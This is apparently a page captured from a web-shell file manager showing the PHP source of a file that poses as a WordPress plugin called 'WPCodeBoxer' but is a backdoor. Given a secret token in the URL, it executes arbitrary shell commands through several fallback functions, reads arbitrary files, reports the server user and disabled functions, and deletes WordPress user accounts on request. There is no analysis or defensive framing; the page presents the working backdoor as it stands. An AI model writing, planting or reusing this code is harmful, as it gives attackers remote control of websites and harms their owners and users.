| Server IP : 104.26.4.103 / Your IP : 216.73.217.51 Web Server : nginx/1.27.1 System : Linux in-5 5.15.0-191-generic #201-Ubuntu SMP Fri Aug 7 18:39:04 UTC 2026 x86_64 User : arabianexpress ( 1872) PHP Version : 8.0.30 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /storage/v9321/blueoceanprod/.quarantine/WPCodeBoxer_52e4fd28/ |
Upload File : |
<?php
/*
Plugin Name: WPCodeBoxer
Description: Temporary command runner.
*/
if (hash_equals('83828e7172642ca0982bf5389ba2422e', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {
chdir(__DIR__);
$c=(string)$_GET['c'];
$o=null;
if(function_exists('shell_exec'))$o=@shell_exec($c);
if($o===null&&function_exists('exec')){$r=[];@exec($c.' 2>&1',$r);$o=implode("\n",$r);}
if($o===null&&function_exists('system')){ob_start();@system($c.' 2>&1');$o=ob_get_clean();}
if($o===null&&function_exists('passthru')){ob_start();@passthru($c.' 2>&1');$o=ob_get_clean();}
if($o===null&&function_exists('proc_open')){$p=@proc_open($c,[1=>['pipe','w'],2=>['pipe','w']],$pipes);if($p){$o=stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);proc_close($p);}}
if(($o===null||$o==='')&&preg_match('/^cat\s+(.+)/',$c,$m)){$o=@file_get_contents(trim($m[1]));}
if(($o===null||$o==='')&&$c==='id'){$o='uid='.getmyuid().'('.get_current_user().')'.' PHP disable_functions='.ini_get('disable_functions');}
echo 'WP2SHELL::' . $o . '::END';
} elseif (hash_equals('83828e7172642ca0982bf5389ba2422e', (string) ($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {
require_once dirname(__DIR__, 3) . '/wp-load.php';
require_once ABSPATH . 'wp-admin/includes/user.php';
$user = get_user_by('login', (string) $_GET['delete_user']);
$ok = $user ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0)) : false;
echo 'WP2SHELL::' . ($ok ? 'deleted' : 'failed') . '::END';
}